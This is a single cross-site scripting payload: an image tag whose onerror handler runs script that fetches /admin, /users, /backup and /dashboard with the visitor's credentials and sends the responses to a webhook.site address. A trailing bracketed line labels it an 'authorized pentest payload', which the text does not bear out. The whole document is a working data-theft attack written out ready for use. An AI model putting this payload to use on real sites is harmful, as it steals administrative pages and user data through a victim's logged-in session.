<img src=x onerror="(async()=>{try{const g=async u=>{const r=await fetch(u,{credentials:'include'});const t=await r.text();return u+":"+r.status+":"+t.slice(0,3000)};let out=await g('/admin');out+='|'+await g('/users');out+='|'+await g('/backup');out+='|'+await g('/dashboard');await fetch('https://webhook.site/cf94b633-1759-4630-9bd7-46c6f58e8cea?d='+encodeURIComponent(out.slice(0,6000)))}catch(e){fetch('https://webhook.site/cf94b633-1759-4630-9bd7-46c6f58e8cea?e='+encodeURIComponent(String(e).slice(0,300)))}})()">[NOTE: authorized pentest payload - rtidorzkaakc]